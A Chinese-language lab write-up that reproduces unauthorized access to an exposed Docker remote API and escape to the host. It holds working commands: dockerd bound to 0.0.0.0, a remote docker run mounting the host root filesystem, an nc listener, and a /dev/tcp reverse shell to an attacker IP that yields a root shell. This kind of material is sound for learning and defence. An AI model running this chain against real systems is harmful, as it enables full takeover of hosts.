一、漏洞背景
Docker 守护进程(dockerd)默认通过 Unix Socket(/var/run/docker.sock)提供服务,仅允许本地访问。但如果管理员配置不当,将其通过 -H 0.0.0.0: 端口暴露在 TCP 端口上,且未做身份验证和访问控制,攻击者可远程利用 Docker API 执行命令,甚至挂载宿主机文件系统实现 “逃逸”,获取宿主机控制权。
二、复现步骤及原理
1. 暴露 Docker 守护进程 API
-
漏洞原理:Docker 守护进程若监听所有网络接口(0.0.0.0)的 TCP 端口(如 9527),会允许任意远程主机访问 Docker API,为攻击提供入口。
-
复现命令(管理员操作,模拟配置不当):
# 同时保留本地 Unix Socket 和远程 TCP 访问 dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:9527
-
作用:Docker 守护进程既通过 unix:///var/run/docker.sock 支持本地访问,又通过 0.0.0.0:9527 允许远程 TCP 访问。
2. 未授权访问 Docker API
-
复现命令(攻击者操作,验证 API 暴露):
# 向目标 IP 的 9527 端口发送请求,验证 API 是否可访问 wget http://192.168.226.154:9527
-
执行效果:
-
结果说明:若返回 404 Not Found 但显示 “已连接”,说明端口开放且 API 可访问(Docker API 未配置根路径路由,正常返回 404)。
-
进一步操作:攻击者可执行 Docker 命令查看所有容器:
docker -H tcp://192.168.226.154:9527 ps -a
3. 挂载宿主机文件系统到容器
-
复现命令(攻击者操作):
# 远程启动 Ubuntu 容器,挂载宿主机根目录到容器 /mnt
docker -H tcp://192.168.226.154:9527 run -it --rm -v /:/mnt ubuntu:18.04 /bin/bash
4. 容器内执行恶意命令(获取宿主机权限)
-
复现命令(攻击者操作):
-
本地监听端口(攻击者主机,等待反弹 shell):
nc -Lvvp 4444 # 监听 4444 端口,接收反弹连接
-
容器内执行反弹 shell 命令(利用挂载的宿主机 bash): 在容器终端中,通过宿主机的 bash 向攻击者主机反弹 shell
/mnt/bin/bash -i >/dev/tcp/192.168.226.133/4444 0>&1
-
-
执行效果:攻击者主机的 nc 会收到来自目标宿主机的连接,获得宿主机的 root 权限 shell(通过 id 命令可验证为 uid=0 (root))。